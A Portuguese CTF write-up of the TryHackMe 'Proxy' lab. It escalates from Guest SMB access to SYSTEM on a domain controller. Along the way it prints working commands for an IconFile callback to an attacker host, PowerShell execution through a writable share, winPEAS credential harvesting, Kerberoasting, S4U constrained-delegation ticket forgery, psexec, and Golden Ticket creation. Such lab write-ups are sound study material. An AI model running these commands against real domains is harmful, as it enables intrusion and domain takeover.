Proxy — de Guest a SYSTEM usando delegação Kerberos

Comecei a room Proxy, do TryHackMe, com uma única informação: o IP do alvo. Nada de usuário, senha ou descrição da infraestrutura. O trabalho foi entender o ambiente, encontrar uma entrada e seguir as pistas até obter NT AUTHORITY\SYSTEM no controlador de domínio.

O caminho acabou sendo mais interessante que uma exploração direta de CVE: um compartilhamento SMB gravável pelo Guest executava scripts com uma conta de serviço que tinha delegação Kerberos restrita configurada.

Ambiente: laboratório autorizado do TryHackMe. Nos comandos, substitua <dc-ip> pelo IP atual do alvo, <attacker-ip> pelo da AttackBox e ajuste os nomes de domínio/host quando estiver em outro CTF.

Índice

  1. Visão geral do caminho
  2. Reconhecimento: descobrindo o Active Directory
  3. SMB: acesso Guest e arquivos encontrados
  4. O teste com .url que não funcionou
  5. RCE: fazendo o scanner executar PowerShell
  6. Enumerando o contexto com winPEAS
  7. Caminhos testados e descartados
  8. Kerberoasting: uma pista que não virou senha
  9. Encontrando a delegação Kerberos restrita
  10. Kerberos, tickets, S4U2Self e S4U2Proxy
  11. Gerando e utilizando o ticket de Administrator
  12. SMB administrativo, PsExec e flag
  13. Erros úteis e lembretes
  14. Checklist para outros CTFs
  15. Referências e estudos relacionados
  16. Apêndice: Kerberoasting, Golden Ticket e export

1. Visão geral do caminho

IP desconhecido
   │
   ├─ Nmap + LDAP + DNS → DC01.ctf.local (AD)
   │
   └─ SMB Guest → IT-Shared com READ/WRITE
                       │
                scanner a cada 2 min
                       │
              arquivo .ps1 executado
                       │
                 CTF\svc.scanner
                       │
              winPEAS → senha AutoLogon
                       │
          LDAP → delegação para cifs/DC01
                       │
           getST.py → S4U2Self + S4U2Proxy
                       │
          ticket CIFS como Administrator
                       │
                smbclient.py → C$
                       │
                psexec.py → SYSTEM
                       │
                    flag.txt

Principal aprendizado: o primeiro acesso não precisa ser administrativo. O que importa é descobrir o que a conta comprometida pode fazer dentro do domínio.

2. Reconhecimento: descobrindo o Active Directory

Portas e serviços

Comecei pela enumeração básica dos serviços mais comuns de um ambiente Windows/AD:

nmap -p 88,135,139,389,445 -sV -sC <dc-ip>
Porta Serviço Pista
88 Kerberos Autenticação de domínio
135 MSRPC Serviços RPC do Windows
139/445 NetBIOS/SMB Compartilhamentos e autenticação Windows
389 LDAP Diretório do Active Directory

O Nmap identificou DC01, domínio ctf.local, SMBv1 desabilitado e SMB Signing obrigatório.

Lembrete: SMB Signing required dificulta o NTLM relay convencional para o SMB desse servidor. Não impede, por si só, um login Kerberos legítimo com um ticket autorizado, como fizemos no final.

LDAP sem credenciais

ldapsearch -x -H ldap://<dc-ip> -s base

O RootDSE respondeu sem autenticação e trouxe:

rootDomainNamingContext: DC=ctf,DC=local
defaultNamingContext: DC=ctf,DC=local
dnsHostName: DC01.ctf.local
isGlobalCatalogReady: TRUE
Opção O que faz
-x Autenticação LDAP simples (sem SASL)
-H Endereço do servidor LDAP
-s base Consulta apenas o objeto-base, aqui o RootDSE

Isso não significa que todo o AD permita enumeração anônima: apenas que as informações do RootDSE estavam disponíveis.

Confirmar serviços pelo DNS

nslookup -type=SRV _ldap._tcp.dc._msdcs.ctf.local <dc-ip>
nslookup -type=SRV _kerberos._tcp.ctf.local <dc-ip>
nslookup -type=MX ctf.local <dc-ip>

Os registros SRV apontavam para DC01.ctf.local, nas portas 389 e 88. A consulta MX não retornou resposta; isso não indica ausência de domínio, apenas que não houve registro MX na resposta.

Nome Significado
DC01 Nome NetBIOS do computador
CTF Nome NetBIOS do domínio
ctf.local Domínio DNS do AD
DC01.ctf.local FQDN: nome completo do host

3. SMB: acesso Guest e arquivos encontrados

Listar os compartilhamentos

smbclient -L //<dc-ip> -N
netexec smb <dc-ip> -u guest -p '' --shares

-L lista os compartilhamentos; -N não solicita senha. O NetExec ajuda a conferir as permissões efetivamente anunciadas/testadas para Guest.

O resultado importante foi:

IPC$       READ
IT-Shared  READ,WRITE

Também havia ADMIN$, C$, NETLOGON e SYSVOL, mas a listagem não comprovava acesso Guest a essas shares administrativas.

Entrei na pasta e confirmei que ela aceitava upload:

smbclient //<dc-ip>/IT-Shared -U 'guest%'

No prompt SMB, o comando put arquivo.txt enviava arquivos para a share.

Sem entrar no prompt interativo, a forma mais direta é:

smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put arquivo.txt'
Sintaxe Explicação
guest% Usuário guest e senha vazia após %
-c 'put ...' Executa um comando SMB e encerra a conexão
put / get Envia / baixa arquivo
-c 'put x; ls' Permite executar mais de um comando

Lendo os arquivos da share

Encontrei três arquivos: um portal HTML e dois TXT.

IT-Credentials-Backup.txt trazia senhas antigas para helpdesk.bob e it.admin. As próprias anotações diziam que as contas estavam desabilitadas. Era uma pista sobre o padrão de senhas, não um acesso confirmado.

IT-Portal.html revelava usuários como j.smith, m.jones e svc.helpdesk, além de mencionar DC01, SRV01 e SRV02. Esses últimos apareceram no portal, mas não foram confirmados como hosts ativos na enumeração posterior.

IT-Onboarding-Checklist.txt continha a pista decisiva:

File Scanner (svc.scanner) — runs every 2 minutes; enumerates IT-Shared for new files; uses Shell enumeration to inspect metadata and icons.

O mesmo checklist citava svc.mssql como membro de Backup Operators. Guardei essa informação para investigar depois.

Raciocínio: se uma conta Guest consegue gravar em uma pasta processada automaticamente, preciso descobrir o que a rotina faz com os arquivos, e não apenas quais arquivos existem.

4. O teste com .url que não funcionou

A palavra icons sugeriu um arquivo .url com IconFile apontando para um servidor SMB externo:

cat > teste.url <<'EOF'
[InternetShortcut]
URL=https://example.com
IconFile=\\<attacker-ip>\probe\test.ico
IconIndex=0
EOF

Na AttackBox, iniciei um servidor SMB:

smbserver.py probe . -smb2support

Enviei teste.url para IT-Shared, mas nenhuma conexão chegou ao servidor SMB.

Por que não funcionou? Um Windows Explorer que renderiza ícones pode tentar acessar IconFile, mas enumerar arquivos pela Shell API não garante carregar o ícone remoto. Nesse teste, não houve evidência de callback. O comportamento exato do scanner ainda precisava ser descoberto.

Diferença importante: um .url com ícone UNC pode causar autenticação SMB/NTLM em condições específicas; ele não é, por si só, uma reverse shell. Captura de Net-NTLMv2, NTLM relay e execução de comandos são técnicas diferentes.

5. RCE: fazendo o scanner executar PowerShell

O teste seguinte foi simples: colocar um .ps1 na pasta e verificar se algum processo o executaria. Em vez de começar com uma shell, fiz um script que criava uma prova com data e usuário.

cat > scanner-probe.ps1 <<'EOF'
"Executed: $(Get-Date -Format o) - User: $([Security.Principal.WindowsIdentity]::GetCurrent().Name)" |
Set-Content -Path '\\DC01.ctf.local\IT-Shared\scanner-proof.txt'
EOF

smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put scanner-probe.ps1'

No próximo ciclo, o arquivo scanner-proof.txt apareceu:

Executed: 2026-10-22T13:16:02... - User: CTF\svc.scanner

Isso confirmou execução de PowerShell como CTF\svc.scanner. O arquivo foi atualizado novamente depois, compatível com a execução recorrente.

Trecho Função
$(...) Avalia uma expressão dentro da string PowerShell
Get-Date -Format o Data/hora em formato ISO
WindowsIdentity...Name Obtém a identidade do processo atual
\| Encaminha a string para Set-Content
Set-Content Cria/sobrescreve a prova em TXT

Por que isso é RCE?

A conta Guest só precisava de escrita no compartilhamento. Já a rotina svc.scanner executava conteúdo que não deveria considerar confiável.

Guest grava arquivo .ps1
          ↓
Scanner executa o script
          ↓
Código roda com os direitos de svc.scanner

Não obtive SYSTEM nessa etapa. Obtive execução como usuário comum do domínio, suficiente para fazer enumeração autenticada.

Dica: antes de tentar reverse shell, payload ou exploit, use uma prova inofensiva (whoami, criação de TXT). Assim você distingue upload bem-sucedido de execução realmente confirmada.

6. Enumerando o contexto com winPEAS

Primeiro pedi ao scanner para executar whoami /all e salvar o resultado:

whoami /all | Out-File '\\DC01.ctf.local\IT-Shared\scanner-context.txt' -Encoding UTF8

O token era de integridade Medium, sem Administrators, SeImpersonatePrivilege, SeDebugPrivilege ou SeBackupPrivilege.

Depois utilizei o winPEAS para procurar configurações inseguras e credenciais.

wget -q https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe
smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put winPEASx64.exe'

O scanner executava .ps1, não um .exe enviado isoladamente. Por isso, criei um script lançador que copiava o binário para a pasta temporária, executava categorias de enumeração e salvava a saída na share:

cat > scanner-winpeas.ps1 <<'EOF'
$share = '\\DC01.ctf.local\IT-Shared'
if (Test-Path "$share\winpeas.started") { exit }
$exe = "$env:TEMP\winPEASx64.exe"
Copy-Item "$share\winPEASx64.exe" $exe -Force
$p = Start-Process -FilePath $exe `
  -ArgumentList @('quiet','systeminfo','userinfo','servicesinfo') `
  -RedirectStandardOutput "$share\winpeas.txt" `
  -RedirectStandardError "$share\winpeas.err" -PassThru
"PID $($p.Id)" | Set-Content "$share\winpeas.started"
EOF

smbclient //<dc-ip>/IT-Shared -U 'guest%' -c 'put scanner-winpeas.ps1'

O marcador winpeas.started evita disparar outra instância a cada ciclo. No relatório, winpeas.txt traz a enumeração; winpeas.err registra possíveis erros. O primeiro teste foi limitado às categorias systeminfo, userinfo e servicesinfo.

Achado decisivo: AutoLogon

O winPEAS encontrou no registro Winlogon:

AutoAdminLogon: 1
DefaultDomainName: CTF
DefaultUserName: svc.scanner
DefaultPassword: 1summerlove!

Por que estava ali? O AutoLogon guarda informações que permitem o login automático no Windows. Nesse laboratório, isso expôs a senha da conta que executava nossos scripts.

Ainda não era a senha do Administrator, mas agora tínhamos credenciais reais de svc.scanner, úteis para autenticar diretamente no Kerberos e consultar o AD.

Outras pistas do relatório

Achado Consequência na room
Windows Server 2019, build 17763.1821 Sistema antigo, com possíveis CVEs, mas não foi o caminho utilizado
Print Spooler em execução Possível rota de escalação local; não precisou ser explorada
Defender excluindo C:\Scripts e C:\IT-Shared Ajuda a entender por que o laboratório aceita binários/scripts nessas pastas
Sem privilégios importantes no token Credential dumping direto de LSASS/NTDS não era o próximo passo óbvio
svc.mssql em Backup Operators Conta interessante, mas ainda sem senha

Atenção: o winPEAS marcou várias CVEs apenas por versão/condições. Um alerta não é prova de exploração possível. A room foi concluída sem usar essas CVEs.

7. Caminhos testados e descartados

RDP e WinRM

nmap -Pn -p 3389,5985,5986 <dc-ip>

A porta 3389 estava aberta, mas o FreeRDP recebeu Connection reset by peer; 5985/5986 estavam filtradas externamente. No próprio Windows, TermService e o listener RDP estavam ativos.

Isso não demonstrou erro de senha: a conexão falhou no transporte. O grupo Remote Desktop Users estava vazio, mas esse dado sozinho também não explica a quebra da sessão.

Rede e reverse shell

A enumeração interna (ipconfig /all, route print -4, arp -a, netstat -ano) mostrou o DC01 e seus serviços. A consulta ao AD retornou apenas DC01; os nomes SRV01 e SRV02, vistos no HTML, não resolveram via DNS.

Um teste com TcpClient confirmou que o DC01 conseguia estabelecer conexão TCP de saída para a AttackBox na porta escolhida. A reverse shell também foi obtida, tornando a enumeração mais prática, mas continuávamos com os direitos de svc.scanner.

Lembrete: reverse shell é uma forma de interação, não uma elevação de privilégios. Uma shell como svc.scanner continua tendo as permissões desse usuário.

Credenciais antigas, Backup Operators e CVEs

As duas senhas do backup estavam associadas a contas desabilitadas. svc.mssql tinha privilégios interessantes por grupo, mas ainda faltava a senha. A possibilidade de exploração do Print Spooler foi considerada, não testada com sucesso nem necessária para a flag.

8. Kerberoasting: uma pista que não virou senha

Como já tinha a senha de svc.scanner, enumerei as contas com SPNs (Service Principal Names) registrados:

GetUserSPNs.py 'ctf.local/svc.scanner' -dc-ip <dc-ip> -request

A ferramenta solicitou a senha e identificou:

scanner/DC01                 svc.scanner   constrained
scanner/DC01.ctf.local       svc.scanner   constrained
MSSQLSvc/DC01:1433           svc.mssql
MSSQLSvc/DC01.ctf.local:1433 svc.mssql

SPN identifica uma instância de serviço no AD. MSSQLSvc/..., por exemplo, indica o nome Kerberos usado para um serviço SQL — não prova que exista uma instância SQL acessível naquele momento.

O Kerberoasting permite solicitar um ticket de serviço (TGS) e tentar recuperar offline a senha da conta associada à sua chave. Testei o ticket RC4 (etype 23) de svc.mssql com:

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Resultado: Exhausted, Recovered: 0/1. A wordlist inteira foi testada, sem recuperar a senha. O mesmo ocorreu no John.

Parâmetro Significado
-request Solicita tickets TGS para os SPNs encontrados
-m 13100 Hashcat: Kerberos 5 TGS-REP etype 23 / RC4-HMAC
--format=krb5tgs Formato equivalente no John
--show Exibe senhas recuperadas anteriormente, se houver

Por que não insisti? Falhar com rockyou.txt não torna o hash inválido nem prova que a senha seja impossível de quebrar. Só significa que aquela lista não encontrou a senha. A coluna constrained da própria enumeração sugeria um caminho melhor: delegação Kerberos.

9. Encontrando a delegação Kerberos restrita

Consultei diretamente o objeto da conta no LDAP:

ldapsearch -x -LLL -H ldap://<dc-ip> \
  -D 'svc.scanner@ctf.local' -W \
  -b 'DC=ctf,DC=local' \
  '(sAMAccountName=svc.scanner)' \
  msDS-AllowedToDelegateTo userAccountControl

Resultado:

userAccountControl: 16843264
msDS-AllowedToDelegateTo: cifs/DC01
msDS-AllowedToDelegateTo: cifs/DC01.ctf.local
Campo Por que importa
-D Faz o bind LDAP como svc.scanner
-W Solicita senha interativamente
-b Define a base da busca no AD
msDS-AllowedToDelegateTo Lista os serviços aos quais essa conta pode delegar
userAccountControl Bits de configuração e estado da conta

O valor 16843264 (0x1010200) inclui NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD e TRUSTED_TO_AUTH_FOR_DELEGATION. Com isso, a conta podia usar a transição de protocolo para solicitar tickets em nome de outros usuários, dentro dos SPNs permitidos.

E o serviço permitido era justamente cifs/DC01.ctf.local — o serviço SMB do controlador de domínio.

O detalhe decisivo: não foi necessário descobrir a senha de Administrator. O AD já confiava em svc.scanner para delegar autenticação ao CIFS do DC01. Com a senha da conta delegadora, pudemos pedir um ticket representando outro usuário para esse serviço específico.

10. Kerberos, tickets, S4U2Self e S4U2Proxy

Como funciona o Kerberos normal

[Usuário + credencial]
         │
         ▼
[KDC / Active Directory]
         │ entrega TGT
         ▼
[TGT: Ticket Granting Ticket]
         │ solicita acesso a um SPN
         ▼
[KDC] ── entrega TGS ──▶ [Serviço: CIFS / HTTP / MSSQL...]
Termo Resumo
KDC Centro de distribuição de tickets; nos domínios AD, roda nos DCs
TGT Ticket inicial usado para solicitar outros tickets
TGS / Service Ticket Ticket para um serviço específico, como cifs/DC01
SPN Identificador daquele serviço no Kerberos
.ccache Arquivo que armazena credenciais/tickets Kerberos para ferramentas como Impacket

Um ticket de serviço não dá acesso universal. Ele tem identidade, destino e validade. O que conseguimos foi um ticket para CIFS no DC01, não a senha de Administrator nem a chave de KRBTGT.

O que muda na delegação restrita?

A delegação existe para serviços que precisam acessar outro serviço em nome do usuário. Exemplo legítimo: um portal autenticado acessa um servidor de arquivos em nome de alguém.

Nesta room, a conta svc.scanner podia delegar para CIFS. O Impacket usou duas operações:

  1. S4U2Self (Service for User to Self): o serviço pede um ticket para si mesmo representando Administrator.
  2. S4U2Proxy (Service for User to Proxy): usa esse contexto para pedir ao KDC um ticket de Administrator destinado ao CIFS do DC01, autorizado pela delegação.
Senha svc.scanner
       │
       ▼
getST.py → TGT de svc.scanner
       │
       ▼
S4U2Self → representar Administrator para o próprio serviço
       │
       ▼
S4U2Proxy → ticket Administrator para cifs/DC01.ctf.local
       │
       ▼
.cCACHE → autenticação Kerberos no SMB

Por que funcionou? A configuração de delegação e a identidade da conta permitiram ao KDC emitir o ticket solicitado. O domínio não estava aceitando uma senha falsa: estava cumprindo uma autorização de delegação perigosa.

Leia também a visão geral de Kerberos Constrained Delegation da Microsoft e o código/documentação do getST.py.

11. Gerando e utilizando o ticket de Administrator

Gerar o ticket via Impacket

Na AttackBox:

getST.py -dc-ip <dc-ip> \
  -spn cifs/DC01.ctf.local \
  -impersonate Administrator \
  'ctf.local/svc.scanner'

A senha solicitada era a de svc.scanner, recuperada no AutoLogon.

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
Parâmetro Função
-dc-ip IP do controlador de domínio
-spn cifs/DC01.ctf.local Serviço para o qual o ticket será emitido
-impersonate Administrator Usuário que o ticket representará
ctf.local/svc.scanner Conta autorizada a fazer a delegação

O sucesso de S4U2Self + S4U2Proxy e o arquivo .ccache criado confirmaram emissão do ticket; o acesso remoto ainda precisava ser validado.

Configurar o cache Kerberos

export KRB5CCNAME="$PWD/Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache"

KRB5CCNAME aponta o Impacket para o arquivo que contém o ticket. O export disponibiliza a variável ao terminal e aos processos filhos; não cria nem prolonga o ticket.

O erro que apareceu: nome não resolvido

A primeira tentativa de SMB retornou:

Connection error (DC01.ctf.local:445): Name or service not known

O ticket estava correto; a AttackBox é que não resolvia o FQDN. Corrigi no /etc/hosts:

echo '<dc-ip> DC01.ctf.local DC01' >> /etc/hosts
getent hosts DC01.ctf.local

Lembrete: -dc-ip diz onde está o KDC, mas não substitui necessariamente a resolução de nomes usada na conexão SMB. O SPN e o nome do host precisam ser coerentes com o ticket.

12. SMB administrativo, PsExec e flag

Validar o ticket com SMB

smbclient.py -k -no-pass \
  -dc-ip <dc-ip> \
  ctf.local/Administrator@DC01.ctf.local
Opção Significado
-k Usa Kerberos e o cache indicado por KRB5CCNAME
-no-pass Não solicita senha novamente
Administrator@DC01.ctf.local Identidade e host para o acesso SMB

No prompt do smbclient.py:

# shares
ADMIN$
C$
IPC$
IT-Shared
NETLOGON
SYSVOL
# use C$
# ls

Consegui acessar C$, a share administrativa do disco Windows. Isso comprovou que o ticket tinha acesso SMB privilegiado.

Importante: smbclient.py não é um shell Windows. Ali existem comandos próprios (shares, use, ls, get, put). Por isso whoami, getuid e dir retornaram Unknown syntax. use C$ funcionou; use C não, porque o $ faz parte do nome da share.

Execução remota com PsExec

Com o ticket já validado:

psexec.py -k -no-pass \
  -dc-ip <dc-ip> \
  ctf.local/Administrator@DC01.ctf.local

O Impacket:

Found writable share ADMIN$
Uploading file ...exe
Opening SVCManager...
Creating service ...
Starting service ...

O PsExec precisou de acesso à share administrativa e permissão para criar/iniciar serviços. Como a autenticação se deu com o ticket de Administrator, a operação foi permitida. O serviço criado pelo PsExec iniciou a shell como LocalSystem.

whoami

Resultado:

nt authority\system

Flag final:

cd C:\Users\Administrator\Desktop
type flag.txt
THM{S4U2S3lf_C0nstr41ned_D3l3g4t10n_2_DA}

Room concluída: Guest → svc.scanner → ticket CIFS de Administrator → SYSTEM.

13. Erros úteis e lembretes

Sintoma Causa / o que aprendi
.url enviado, mas nenhum callback SMB Enumerar arquivos não garante renderização do ícone remoto
hashcat: Exhausted (0/1) O hash foi testado, mas a wordlist não encontrou a senha
RDP Connection reset by peer Falha de transporte, não prova senha inválida
Name or service not known Corrigir DNS//etc/hosts, mesmo informando -dc-ip
ls no cmd.exe No CMD Windows, use dir; ls é comum no Linux/PowerShell
whoami no smbclient.py SMB client navega em shares, não executa comandos do sistema
psexec.py travou após listagem enorme Evitar dir C:\Windows\System32 sem filtro; reconectar e consultar diretórios específicos
Ticket não encontrado após abrir outro terminal Repetir export KRB5CCNAME=... naquela sessão

O ticket expira? Dá para manter a shell para sempre?

Não. Tickets Kerberos têm validade definida pelo domínio. O export só seleciona um cache; não renova tickets. Se uma sessão cair e o arquivo .ccache ainda estiver válido, posso reutilizá-lo. Se o ticket expirar, preciso solicitar outro, usando novamente a autorização disponível.

echo "$KRB5CCNAME"         # arquivo apontado pelo shell atual
klist -c "$KRB5CCNAME"    # inspeciona tickets e validade (se klist instalado)
unset KRB5CCNAME          # remove a variável, não o arquivo

Para evitar queda por saída enorme, prefira comandos direcionados (dir C:\Users\Administrator\Desktop em vez de listar System32 inteiro). Se o processo psexec.py encerrar, execute-o novamente com o ticket válido.

14. Checklist para outros CTFs

Etapa Pergunta-chave Ferramentas
Recon É Windows? É AD? Qual é o DC/domínio? nmap, ldapsearch, nslookup
SMB Guest/anônimo acessa algo? Pode escrever? smbclient, netexec
Pistas Há TXT, HTML, scripts, tarefas agendadas? get, cat, leitura de artefatos
Execução Algo consome a pasta? O arquivo roda? Script de prova (whoami, TXT)
Contexto Qual usuário, grupo e privilégio? whoami /all, net user, winPEAS
Credenciais AutoLogon, configs e serviços revelam segredos? winPEAS, registro, arquivos legíveis
Kerberos Há SPNs? Delegação? Para quais serviços? GetUserSPNs.py, ldapsearch
Ticket S4U é permitido para o SPN correto? getST.py, KRB5CCNAME
Validação Ticket acessa uma share administrativa? smbclient.py -k -no-pass
Objetivo Execução privilegiada foi comprovada? psexec.py, whoami

Meu resumo da room: não foi o Kerberoasting, nem uma CVE do Windows, nem a reverse shell que levou ao SYSTEM. Foi entender a configuração de confiança da conta svc.scanner no Kerberos.

15. Referências e estudos relacionados


16. Apêndice — Kerberoasting, Golden Ticket e export

Essas técnicas são úteis para estudos de AD, mas não são a mesma coisa e Golden Ticket não foi necessário na Proxy.

A. Kerberoasting (ticket de serviço → tentativa offline de senha)

Um usuário autenticado solicita um TGS para um SPN. Parte do material retornado é protegida por uma chave derivada da senha da conta de serviço; o ataque testa candidatos offline, sem conhecer a senha de início.

GetUserSPNs.py '<dominio>/<usuario>' -dc-ip <dc-ip> -request
hashcat -m 13100 service_ticket.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 service_ticket.txt --show
  • -request: pede os tickets TGS dos SPNs encontrados.
  • 13100: formato de TGS-REP etype 23 (RC4-HMAC) no Hashcat; outros etypes usam modos diferentes.
  • --show: exibe a recuperação, se já houver senha encontrada.

Se uma senha for recuperada, a autorização ainda dependerá dos direitos dessa conta e do serviço de destino. Na Proxy, o ticket de svc.mssql não foi quebrado com rockyou.txt.

B. Golden Ticket (chave KRBTGT comprometida → TGT forjado)

Golden Ticket é outro cenário: exige a chave da conta KRBTGT e o SID do domínio. Com esses dados, é possível criar um TGT forjado, sujeito às verificações e restrições do ambiente.

ticketer.py -nthash <hash-krbtgt> \
  -domain-sid <sid-do-dominio> \
  -domain <dominio> Administrator

Isso gera um arquivo de cache, por exemplo Administrator.ccache:

export KRB5CCNAME="$PWD/Administrator.ccache"
smbclient.py -k -no-pass \
  -dc-ip <dc-ip> \
  <dominio>/Administrator@<host-fqdn>
Opção O que faz
-nthash Chave NTLM da KRBTGT, quando aplicável ao cenário
-domain-sid SID base do domínio
-domain Nome do domínio no ticket
Administrator Identidade indicada na criação do ticket
-k -no-pass Usa Kerberos do cache, sem solicitar senha

Comparando as técnicas:

Técnica O que preciso ter? O que obtenho?
Kerberoasting Usuário autenticado e SPN apropriado Material para tentar quebrar senha de serviço
Constrained Delegation / S4U Controle de conta com delegação permitida Ticket de serviço para identidade/SPN autorizados
Golden Ticket Chave KRBTGT e dados do domínio TGT forjado, não limitado a um único SPN como o TGS de CIFS

C. Onde o export guarda o ticket?

export KRB5CCNAME="$PWD/Administrator.ccache"

São coisas diferentes:

  1. KRB5CCNAME é uma variável de ambiente mantida no processo do shell e herdada pelos comandos iniciados nele.
  2. Administrator.ccache é o arquivo físico que contém tickets/credenciais, salvo no disco.

$PWD é o diretório atual. Ao usá-lo, o caminho fica absoluto e não depende de onde o próximo comando for executado.

echo "$KRB5CCNAME"      # mostra qual arquivo foi selecionado
ls -l "$KRB5CCNAME"     # confirma se o arquivo existe
unset KRB5CCNAME       # remove a variável do shell atual

O export não persiste para novas sessões nem aumenta o tempo de vida do ticket. Por isso, quando abri um novo terminal, precisei configurar a variável novamente. O arquivo .ccache permaneceu no disco.

Para não confundir: na Proxy, usei um ticket CIFS emitido via S4U. Não possuía a chave KRBTGT e não criei um Golden Ticket.